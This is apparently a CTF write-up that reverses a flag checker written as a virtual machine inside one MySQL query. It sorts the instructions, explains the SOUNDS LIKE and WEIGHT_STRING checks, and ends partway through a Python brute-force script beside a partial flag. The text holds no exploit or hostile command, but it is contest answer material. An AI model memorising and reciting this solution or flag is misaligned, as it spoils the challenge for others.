@mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',87,'</m>')) WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80) WHEN 119 THEN IF(ASCII(@n) = @compareto, @pc:=121, 0) WHEN 3 THEN @notok := 'Wrong.' WHEN 42 THEN @pc:=45 WHEN 8 THEN IF(ASCII(@e) ^ 32 = 120, 0, @pc:=89) WHEN 98 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') WHEN 50 THEN (SELECT @i := GROUP_CONCAT(n SEPARATOR '') FROM FLAG Where id in (14, 16, 19, 22, 25, 32)) WHEN 91 THEN @pc:=126 WHEN 117 THEN  @compareto:=ExtractValue(@mem,'/m[$@get_arg_tmp]') WHEN 34 THEN @sp := @sp - 2 WHEN 84 THEN IF(@x2 = 'e', 0, @pc:=89) WHEN 37 THEN @i := 13 WHEN 20 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',7,'</m>')) WHEN 63 THEN IF(@rv = INSTR('t35t', 'm4ch1n3'), @pc:=80, 0) WHEN 53 THEN IF(STRCMP((SELECT left(REPLACE(UNHEX(REPLACE(hex(RIGHT(QUOTE(MID(MAKE_SET(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)), (SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG WHERE id > 28 and id < 32)) NOT LIKE '0', @pc:=89, 0) WHEN 111 THEN @sp := @sp - 1 WHEN 6 THEN IF(@dat = 'X-MAS', @pc:=80, 0) WHEN 80 THEN 0 WHEN 112 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') WHEN 120 THEN @rv := 0 WHEN 90 THEN @out := @notok WHEN 61 THEN  @pc:=113 WHEN 43 THEN 0 WHEN 30 THEN  @sp := @sp + 1 WHEN 101 THEN  @sp := @sp + 1 WHEN 52 THEN IF((SELECT IF(SUBSTR(@dat, (SELECT CEILING(ASCII(ASCII(@F))/2)), 3) = (SELECT NAME_CONST('TAO', 'SQL')), 1, 0)) = FIND_IN_SET(0,'f,e,e,d'), @pc:=124, 0) WHEN 71 THEN 0 WHEN 9 THEN IF((SELECT n FROM FLAG WHERE id = 1) = '-', 0, @pc:=89) WHEN 35 THEN IF(@rv = INSTR('xbar', 'foobar'), @pc:=80, 0) WHEN 62 THEN @sp := @sp - 2 WHEN 2 THEN @ok := 'OK.' WHEN 51 THEN IF(HEX(@i) = REPEAT('5F', 6), 0, @pc:=89) WHEN 88 THEN IF(@x4 = 'd', 0, @pc:=89) WHEN 109 THEN  @n:=ExtractValue(@mem,'/m[$@sp]') WHEN 10 THEN (SELECT @count := COUNT(*) FROM FLAG) WHEN 1 THEN @strn := 'MySQL' WHEN 39 THEN 0 WHEN 96 THEN @rv := 1 WHEN 106 THEN  @pc:=92 WHEN 114 THEN @get_arg_tmp := @sp-3 WHEN 47 THEN IF(@i > 10, @pc:=39, 0) WHEN 0 THEN @mem:=CONCAT(@mem,REPEAT('<m></m>',50)) WHEN 94 THEN  @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') WHEN 60 THEN  @sp := @sp + 1 WHEN 99 THEN 0 WHEN 123 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') WHEN 89 THEN 0 WHEN 38 THEN @l := 0 WHEN 113 THEN 0 WHEN 36 THEN IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), 0, @pc:=89) WHEN 13 THEN (SELECT @f := n FROM FLAG WHERE id = 3) WHEN 44 THEN @l := 1 WHEN 65 THEN @i := 33 WHEN 48 THEN IF(@l > FIND_IN_SET('x','a,b,c,d'), @pc:=89, 0) WHEN 110 THEN @rv := @rv * @n WHEN 125 THEN @out := @notok WHEN 127 THEN 0 WHEN 4 THEN @targetsz := 42 WHEN 5 THEN (SELECT @dat := COALESCE(NULL, NULL, GROUP_CONCAT(n SEPARATOR ''), 'X-MAS') FROM FLAG) WHEN 116 THEN @get_arg_tmp := @sp-2 WHEN 23 THEN  @sp := @sp + 1 WHEN 105 THEN  @sp := @sp + 1 WHEN 22 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24)) WHEN 14 THEN IF(ASCII(@e) + ASCII(@f) = 153, 0, @pc:=89) WHEN 54 THEN @prt := (SELECT n FROM FLAG whEre id in (CAST((SUBSTR(REPEAT(RPAD(SOUNDEX('doggo'), 2, '?'), 2), 4, 1)) AS INTEGER) * 7 + 1)) WHEN 72 THEN @l := @l + 1 WHEN 77 THEN 0 WHEN 118 THEN @rv := 1 WHEN 27 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) WHEN 76 THEN IF(@l > LOCATE(FIND_IN_SET('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0) WHEN 7 THEN (SELECT @e := n FROM FLAG WHERE id = 0) WHEN 40 THEN (SELECT @e := CONCAT((SELECT n FROM FLAG WHERE id = @i))) WHEN 79 THEN @pc:=126 WHEN 124 THEN 0 WHEN 66 THEN @l := 0 WHEN 57 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',52,'</m>')) WHEN 67 THEN 0 WHEN 75 THEN IF(@i < 41, @pc:=67, 0) ELSE @out END, @pc:=@pc+1 FROM (SELECT (E0.v+E1.v+E2.v+E3.v+E4.v+E5.v+E6.v+E7.v+E8.v+E9.v+E10.v) v FROM(SELECT 0 v UNION ALL SELECT 1 v) E0 CROSS JOIN (SELECT 0 v UNION ALL SELECT 2 v) E1 CROSS JOIN (SELECT 0 v UNION ALL SELECT 4 v) E2 CROSS JOIN (SELECT 0 v UNION ALL SELECT 8 v) E3 CROSS JOIN (SELECT 0 v UNION ALL SELECT 16 v) E4 CROSS JOIN (SELECT 0 v UNION ALL SELECT 32 v) E5 CROSS JOIN (SELECT 0 v UNION ALL SELECT 64 v) E6 CROSS JOIN (SELECT 0 v UNION ALL SELECT 128 v) E7 CROSS JOIN (SELECT 0 v UNION ALL SELECT 256 v) E8 CROSS JOIN (SELECT 0 v UNION ALL SELECT 512 v) E9 CROSS JOIN (SELECT 0 v UNION ALL SELECT 1024 v) E10 ORDER BY v) s) q ORDER BY v DESC LIMIT 1";

  mysqli_query($conn, $query, MYSQLI_USE_RESULT);
  $result = mysqli_query($conn, $query, MYSQLI_USE_RESULT);
  echo mysqli_fetch_array ($result, MYSQLI_ASSOC)['o'];
  die();
}
?>

The complex sql query is actually a kind of virtual machine.

It defined custom variable named, pc, memory and etc.

The instruction is defined as pc value with case then, else syntax.

SELECT o FROM 
    ( SELECT 0 v, '' o, 0 pc FROM 
        (SELECT @pc:=0, @mem:='', @out:='') i UNION ALL SELECT v, CASE @pc 
        WHEN 121 THEN 0 
        WHEN 70 THEN @pc:=73 
        WHEN 87 THEN IF(@x3 = 'a', 0, @pc:=89) 
        WHEN 32 THEN  @sp := @sp + 1 
        WHEN 25 THEN @sp := @sp - 1 
        WHEN 28 THEN  @sp := @sp + 1 
        WHEN 56 THEN  @sp := @sp + 1 
        WHEN 18 THEN IF(BIN(ASCII(@prt)) NOT LIKE '1111011', @pc:=89, 0) 
        WHEN 126 THEN 0 
        WHEN 17 THEN @prt := (SELECT n FROM FLAG WHERE id = 5) 
        WHEN 12 THEN IF((SELECT n FROM FLAG WHERE id = 2) = 'M', 0, @pc:=80) 
        WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89) 
        WHEN 103 THEN  @sp := @sp + 1 
        WHEN 41 THEN IF(INSTR(@e, '?') > 0, 0, @pc:=43) 
        WHEN 81 THEN (SELECT @x1 := n FROM FLAG WHERE id = 4) 
        WHEN 49 THEN IF(SUBSTR(@dat, @i - 1, 3) NOT LIKE REVERSE('%tao%'), @pc:=124, 0) 
        WHEN 73 THEN 0 
        WHEN 82 THEN (SELECT @x2 := n FROM FLAG WHERE id = 5) 
        WHEN 58 THEN  @sp := @sp + 1 
        WHEN 92 THEN 0 
        WHEN 85 THEN (SELECT @x3 := n FROM FLAG WHERE id = 6) 
        WHEN 64 THEN IF((SELECT FIELD((COALESCE((SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG where id in (17, ASCII(@e)/3-3, (SELECT @xx := CEILING(ASCII(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = FLOOR(@xx / 4), 0, @pc:=89) 
        WHEN 95 THEN IF(@n = 0, 0, @pc:=99) 
        WHEN 74 THEN @i := @i + 1 
        WHEN 68 THEN (SELECT @e := CONCAT_WS('AVION', (SELECT n FROM FLAG WHERE id = @i))) 
        WHEN 78 THEN @out := @ok 
        WHEN 107 THEN @sp := @sp - 1 
        WHEN 21 THEN  @sp := @sp + 1 
        WHEN 83 THEN IF(@x1 = 'd', 0, @pc:=89) 
        WHEN 104 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
        WHEN 31 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
        WHEN 122 THEN @sp := @sp - 1 
        WHEN 102 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n - 1,'</m>')) 
        WHEN 45 THEN 0 
        WHEN 93 THEN @get_arg_tmp := @sp-2 
        WHEN 26 THEN @prt := (SELECT n FROM FLAG where id = 6) 
        WHEN 86 THEN (SELECT @x4 := n FROM FLAG WHERE id = 7) 
        WHEN 69 THEN IF(INSTR((SELECT IF(ORD(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') = '0', 0, @pc:=71) 
        WHEN 97 THEN @sp := @sp - 1 
        WHEN 59 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
        WHEN 108 THEN @sp := @sp - 1 
        WHEN 46 THEN @i := @i - 1 
        WHEN 115 THEN  @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') 
        WHEN 100 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n,'</m>')) 
        WHEN 55 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) 
        WHEN 19 THEN @sp := 1 
        WHEN 24 THEN  @pc:=92 
        WHEN 33 THEN  @pc:=113 
        WHEN 29 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',87,'</m>')) 
        WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80) 
        WHEN 119 THEN IF(ASCII(@n) = @compareto, @pc:=121, 0) 
        WHEN 3 THEN @notok := 'Wrong.' 
        WHEN 42 THEN @pc:=45 
        WHEN 8 THEN IF(ASCII(@e) ^ 32 = 120, 0, @pc:=89) 
        WHEN 98 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') 
        WHEN 50 THEN (SELECT @i := GROUP_CONCAT(n SEPARATOR '') FROM FLAG Where id in (14, 16, 19, 22, 25, 32)) 
        WHEN 91 THEN @pc:=126 
        WHEN 117 THEN  @compareto:=ExtractValue(@mem,'/m[$@get_arg_tmp]') 
        WHEN 34 THEN @sp := @sp - 2 
        WHEN 84 THEN IF(@x2 = 'e', 0, @pc:=89) 
        WHEN 37 THEN @i := 13 
        WHEN 20 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',7,'</m>')) 
        WHEN 63 THEN IF(@rv = INSTR('t35t', 'm4ch1n3'), @pc:=80, 0) 
        WHEN 53 THEN IF(STRCMP((SELECT left(REPLACE(UNHEX(REPLACE(hex(RIGHT(QUOTE(MID(MAKE_SET(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)), (SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG WHERE id > 28 and id < 32)) NOT LIKE '0', @pc:=89, 0) 
        WHEN 111 THEN @sp := @sp - 1 
        WHEN 6 THEN IF(@dat = 'X-MAS', @pc:=80, 0) 
        WHEN 80 THEN 0 
        WHEN 112 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') 
        WHEN 120 THEN @rv := 0 
        WHEN 90 THEN @out := @notok 
        WHEN 61 THEN  @pc:=113 
        WHEN 43 THEN 0 
        WHEN 30 THEN  @sp := @sp + 1 
        WHEN 101 THEN  @sp := @sp + 1 
        WHEN 52 THEN IF((SELECT IF(SUBSTR(@dat, (SELECT CEILING(ASCII(ASCII(@F))/2)), 3) = (SELECT NAME_CONST('TAO', 'SQL')), 1, 0)) = FIND_IN_SET(0,'f,e,e,d'), @pc:=124, 0) 
        WHEN 71 THEN 0 
        WHEN 9 THEN IF((SELECT n FROM FLAG WHERE id = 1) = '-', 0, @pc:=89) 
        WHEN 35 THEN IF(@rv = INSTR('xbar', 'foobar'), @pc:=80, 0) 
        WHEN 62 THEN @sp := @sp - 2 
        WHEN 2 THEN @ok := 'OK.' 
        WHEN 51 THEN IF(HEX(@i) = REPEAT('5F', 6), 0, @pc:=89) 
        WHEN 88 THEN IF(@x4 = 'd', 0, @pc:=89) 
        WHEN 109 THEN  @n:=ExtractValue(@mem,'/m[$@sp]') 
        WHEN 10 THEN (SELECT @count := COUNT(*) FROM FLAG) 
        WHEN 1 THEN @strn := 'MySQL' 
        WHEN 39 THEN 0 
        WHEN 96 THEN @rv := 1 
        WHEN 106 THEN  @pc:=92 
        WHEN 114 THEN @get_arg_tmp := @sp-3 
        WHEN 47 THEN IF(@i > 10, @pc:=39, 0) 
        WHEN 0 THEN @mem:=CONCAT(@mem,REPEAT('<m></m>',50)) 
        WHEN 94 THEN  @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') 
        WHEN 60 THEN  @sp := @sp + 1 
        WHEN 99 THEN 0 
        WHEN 123 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') 
        WHEN 89 THEN 0 
        WHEN 38 THEN @l := 0 
        WHEN 113 THEN 0 
        WHEN 36 THEN IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), 0, @pc:=89) 
        WHEN 13 THEN (SELECT @f := n FROM FLAG WHERE id = 3) 
        WHEN 44 THEN @l := 1 
        WHEN 65 THEN @i := 33 
        WHEN 48 THEN IF(@l > FIND_IN_SET('x','a,b,c,d'), @pc:=89, 0) 
        WHEN 110 THEN @rv := @rv * @n 
        WHEN 125 THEN @out := @notok 
        WHEN 127 THEN 0 
        WHEN 4 THEN @targetsz := 42 
        WHEN 5 THEN (SELECT @dat := COALESCE(NULL, NULL, GROUP_CONCAT(n SEPARATOR ''), 'X-MAS') FROM FLAG) 
        WHEN 116 THEN @get_arg_tmp := @sp-2 
        WHEN 23 THEN  @sp := @sp + 1 
        WHEN 105 THEN  @sp := @sp + 1 
        WHEN 22 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
        WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24)) 
        WHEN 14 THEN IF(ASCII(@e) + ASCII(@f) = 153, 0, @pc:=89) 
        WHEN 54 THEN @prt := (SELECT n FROM FLAG whEre id in (CAST((SUBSTR(REPEAT(RPAD(SOUNDEX('doggo'), 2, '?'), 2), 4, 1)) AS INTEGER) * 7 + 1)) 
        WHEN 72 THEN @l := @l + 1 
        WHEN 77 THEN 0 
        WHEN 118 THEN @rv := 1 
        WHEN 27 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) 
        WHEN 76 THEN IF(@l > LOCATE(FIND_IN_SET('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0) 
        WHEN 7 THEN (SELECT @e := n FROM FLAG WHERE id = 0) 
        WHEN 40 THEN (SELECT @e := CONCAT((SELECT n FROM FLAG WHERE id = @i))) 
        WHEN 79 THEN @pc:=126 
        WHEN 124 THEN 0 
        WHEN 66 THEN @l := 0 
        WHEN 57 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',52,'</m>')) 
        WHEN 67 THEN 0 
        WHEN 75 THEN IF(@i < 41, @pc:=67, 0) ELSE @out END, 
        @pc:=@pc+1 
            FROM 
                (SELECT (E0.v+E1.v+E2.v+E3.v+E4.v+E5.v+E6.v+E7.v+E8.v+E9.v+E10.v) v FROM
                    (SELECT 0 v UNION ALL SELECT 1 v) E0 CROSS JOIN (SELECT 0 v UNION ALL SELECT 2 v) E1 CROSS JOIN (SELECT 0 v UNION ALL SELECT 4 v) E2 CROSS JOIN (SELECT 0 v UNION ALL SELECT 8 v) E3 CROSS JOIN (SELECT 0 v UNION ALL SELECT 16 v) E4 CROSS JOIN (SELECT 0 v UNION ALL SELECT 32 v) E5 CROSS JOIN (SELECT 0 v UNION ALL SELECT 64 v) E6 CROSS JOIN (SELECT 0 v UNION ALL SELECT 128 v) E7 CROSS JOIN (SELECT 0 v UNION ALL SELECT 256 v) E8 CROSS JOIN (SELECT 0 v UNION ALL SELECT 512 v) E9 CROSS JOIN (SELECT 0 v UNION ALL SELECT 1024 v) E10 ORDER BY v) s) 
q ORDER BY v DESC LIMIT 1

By sorting the vm instructions with pc value, we can analysis logic at ease.

Sorted version is following.

WHEN 0 THEN @mem:=CONCAT(@mem,REPEAT('<m></m>',50)) 
WHEN 1 THEN @strn := 'MySQL' 
WHEN 2 THEN @ok := 'OK.' 
WHEN 3 THEN @notok := 'Wrong.' 
WHEN 4 THEN @targetsz := 42 
WHEN 5 THEN (SELECT @dat := COALESCE(NULL, NULL, GROUP_CONCAT(n SEPARATOR ''), 'X-MAS') FROM FLAG) 
WHEN 6 THEN IF(@dat = 'X-MAS', @pc:=80, 0) 
WHEN 7 THEN (SELECT @e := n FROM FLAG WHERE id = 0) 
WHEN 8 THEN IF(ASCII(@e) ^ 32 = 120, 0, @pc:=89) 
WHEN 9 THEN IF((SELECT n FROM FLAG WHERE id = 1) = '-', 0, @pc:=89) 
WHEN 10 THEN (SELECT @count := COUNT(*) FROM FLAG) 
WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89) 
WHEN 12 THEN IF((SELECT n FROM FLAG WHERE id = 2) = 'M', 0, @pc:=80) 
WHEN 13 THEN (SELECT @f := n FROM FLAG WHERE id = 3) 
WHEN 14 THEN IF(ASCII(@e) + ASCII(@f) = 153, 0, @pc:=89) 
WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24)) 
WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80) 
WHEN 17 THEN @prt := (SELECT n FROM FLAG WHERE id = 5) 
WHEN 18 THEN IF(BIN(ASCII(@prt)) NOT LIKE '1111011', @pc:=89, 0) 
WHEN 19 THEN @sp := 1 
WHEN 20 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',7,'</m>')) 
WHEN 21 THEN  @sp := @sp + 1 
WHEN 22 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
WHEN 23 THEN  @sp := @sp + 1 
WHEN 24 THEN  @pc:=92 
WHEN 25 THEN @sp := @sp - 1 
WHEN 26 THEN @prt := (SELECT n FROM FLAG where id = 6) 
WHEN 27 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) 
WHEN 28 THEN  @sp := @sp + 1 
WHEN 29 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',87,'</m>')) 
WHEN 30 THEN  @sp := @sp + 1 
WHEN 31 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
WHEN 32 THEN  @sp := @sp + 1 
WHEN 33 THEN  @pc:=113 
WHEN 34 THEN @sp := @sp - 2 
WHEN 35 THEN IF(@rv = INSTR('xbar', 'foobar'), @pc:=80, 0) 
WHEN 36 THEN IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), 0, @pc:=89) 
WHEN 37 THEN @i := 13 
WHEN 38 THEN @l := 0 
WHEN 39 THEN 0 
WHEN 40 THEN (SELECT @e := CONCAT((SELECT n FROM FLAG WHERE id = @i))) 
WHEN 41 THEN IF(INSTR(@e, '?') > 0, 0, @pc:=43) 
WHEN 42 THEN @pc:=45 
WHEN 43 THEN 0 
WHEN 44 THEN @l := 1 
WHEN 45 THEN 0 
WHEN 46 THEN @i := @i - 1 
WHEN 47 THEN IF(@i > 10, @pc:=39, 0) 
WHEN 48 THEN IF(@l > FIND_IN_SET('x','a,b,c,d'), @pc:=89, 0) 
WHEN 49 THEN IF(SUBSTR(@dat, @i - 1, 3) NOT LIKE REVERSE('%tao%'), @pc:=124, 0) 
WHEN 50 THEN (SELECT @i := GROUP_CONCAT(n SEPARATOR '') FROM FLAG Where id in (14, 16, 19, 22, 25, 32)) 
WHEN 51 THEN IF(HEX(@i) = REPEAT('5F', 6), 0, @pc:=89) 
WHEN 52 THEN IF((SELECT IF(SUBSTR(@dat, (SELECT CEILING(ASCII(ASCII(@F))/2)), 3) = (SELECT NAME_CONST('TAO', 'SQL')), 1, 0)) = FIND_IN_SET(0,'f,e,e,d'), @pc:=124, 0) 
WHEN 53 THEN IF(STRCMP((SELECT left(REPLACE(UNHEX(REPLACE(hex(RIGHT(QUOTE(MID(MAKE_SET(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)), (SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG WHERE id > 28 and id < 32)) NOT LIKE '0', @pc:=89, 0) 
WHEN 54 THEN @prt := (SELECT n FROM FLAG whEre id in (CAST((SUBSTR(REPEAT(RPAD(SOUNDEX('doggo'), 2, '?'), 2), 4, 1)) AS INTEGER) * 7 + 1)) 
WHEN 55 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) 
WHEN 56 THEN  @sp := @sp + 1 
WHEN 57 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',52,'</m>')) 
WHEN 58 THEN  @sp := @sp + 1 
WHEN 59 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
WHEN 60 THEN  @sp := @sp + 1 
WHEN 61 THEN  @pc:=113 
WHEN 62 THEN @sp := @sp - 2 
WHEN 63 THEN IF(@rv = INSTR('t35t', 'm4ch1n3'), @pc:=80, 0) 
WHEN 64 THEN IF((SELECT FIELD((COALESCE((SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG where id in (17, ASCII(@e)/3-3, (SELECT @xx := CEILING(ASCII(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = FLOOR(@xx / 4), 0, @pc:=89) 
WHEN 65 THEN @i := 33 
WHEN 66 THEN @l := 0 
WHEN 67 THEN 0 
WHEN 68 THEN (SELECT @e := CONCAT_WS('AVION', (SELECT n FROM FLAG WHERE id = @i))) 
WHEN 69 THEN IF(INSTR((SELECT IF(ORD(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') = '0', 0, @pc:=71) 
WHEN 70 THEN @pc:=73 
WHEN 71 THEN 0 
WHEN 72 THEN @l := @l + 1 
WHEN 73 THEN 0 
WHEN 74 THEN @i := @i + 1 
WHEN 75 THEN IF(@i < 41, @pc:=67, 0) ELSE @out END
WHEN 76 THEN IF(@l > LOCATE(FIND_IN_SET('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0) 
WHEN 77 THEN 0 
WHEN 78 THEN @out := @ok 
WHEN 79 THEN @pc:=126 
WHEN 80 THEN 0 
WHEN 81 THEN (SELECT @x1 := n FROM FLAG WHERE id = 4) 
WHEN 82 THEN (SELECT @x2 := n FROM FLAG WHERE id = 5) 
WHEN 83 THEN IF(@x1 = 'd', 0, @pc:=89) 
WHEN 84 THEN IF(@x2 = 'e', 0, @pc:=89) 
WHEN 85 THEN (SELECT @x3 := n FROM FLAG WHERE id = 6) 
WHEN 86 THEN (SELECT @x4 := n FROM FLAG WHERE id = 7) 
WHEN 87 THEN IF(@x3 = 'a', 0, @pc:=89) 
WHEN 88 THEN IF(@x4 = 'd', 0, @pc:=89) 
WHEN 89 THEN 0 
WHEN 90 THEN @out := @notok 
WHEN 91 THEN @pc:=126 
WHEN 92 THEN 0 
WHEN 93 THEN @get_arg_tmp := @sp-2 
WHEN 94 THEN  @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') 
WHEN 95 THEN IF(@n = 0, 0, @pc:=99) 
WHEN 96 THEN @rv := 1 
WHEN 97 THEN @sp := @sp - 1 
WHEN 98 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') 
WHEN 99 THEN 0 
WHEN 100 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n,'</m>')) 
WHEN 101 THEN  @sp := @sp + 1 
WHEN 102 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n - 1,'</m>')) 
WHEN 103 THEN  @sp := @sp + 1 
WHEN 104 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) 
WHEN 105 THEN  @sp := @sp + 1 
WHEN 106 THEN  @pc:=92 
WHEN 107 THEN @sp := @sp - 1 
WHEN 108 THEN @sp := @sp - 1 
WHEN 109 THEN  @n:=ExtractValue(@mem,'/m[$@sp]') 
WHEN 110 THEN @rv := @rv * @n 
WHEN 111 THEN @sp := @sp - 1 
WHEN 112 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') 
WHEN 113 THEN 0 
WHEN 114 THEN @get_arg_tmp := @sp-3 
WHEN 115 THEN  @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') 
WHEN 116 THEN @get_arg_tmp := @sp-2 
WHEN 117 THEN  @compareto:=ExtractValue(@mem,'/m[$@get_arg_tmp]') 
WHEN 118 THEN @rv := 1 
WHEN 119 THEN IF(ASCII(@n) = @compareto, @pc:=121, 0) 
WHEN 120 THEN @rv := 0 
WHEN 121 THEN 0 
WHEN 122 THEN @sp := @sp - 1 
WHEN 123 THEN  @pc:=ExtractValue(@mem,'/m[$@sp]') 
WHEN 124 THEN 0 
WHEN 125 THEN @out := @notok 
WHEN 126 THEN 0 
WHEN 127 THEN 0

Just following one by one, we can get the most segment of flag.

 

But there are two some annoying chore part.

First one is sounds like based part.

WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24)) 
WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80)

The flag value from sql SOUNDS LIKE syntax can be multiple answer. But there is a hint about it.

The segment must be 'Soy' because of hint.

 

Another part is following.

select IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((
    SELECT CONCAT("XY"
    )
)))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), "OK", "FAIL")

X is flag[20], Y is flag[21].

The return value of weight_string can be difference based of mysql version and operation systems.

REGEXP_REPLLACE function is not supported in mysql 5.x version.

Then we can guess the version dependency is based on 8.x version.

There is note that we should not use windows based os but linux os in order to get the right flag.

I had annoying chore to establish the environment.

 

I wrote python script to get 2 char, brute force search.

#!/usr/bin/env python3.5
# -*- coding: utf-8 -*-
import pymysql
import sys

conn = pymysql.connect(host="localhost", user="root", password="12321", db="bobgil")
curs = conn.cursor(pymysql.cursors.DictCursor)

flag = "X-MAS{Wooat???_4_VM_++_My_SQL???_mnohijkd}"
    

candid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789?!-_{}()"
def chk():
